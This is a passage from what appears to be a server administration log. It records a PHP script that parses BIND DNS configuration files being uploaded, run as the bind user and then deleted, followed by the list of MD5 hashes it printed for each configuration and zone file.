					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-02-09 13:39:01: 

runuser -l bind -s /bin/bash -c '/tmp/pkp303172; rm /tmp/pkp303172'

2026-02-09 13:39:01: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 3a99231277d1ec09b0a37cd18d994fb6
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 14c1edeb05e4031ffc2f3b7e0fb4d902
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-02-09 13:41:19: Establishing a connection
2026-02-09 13:41:19: 

PUT: /tmp/pkp649195

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-02-09 13:41:20: 

runuser -l bind -s /bin/bash -c '/tmp/pkp649195; rm /tmp/pkp649195'

2026-02-09 13:41:20: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
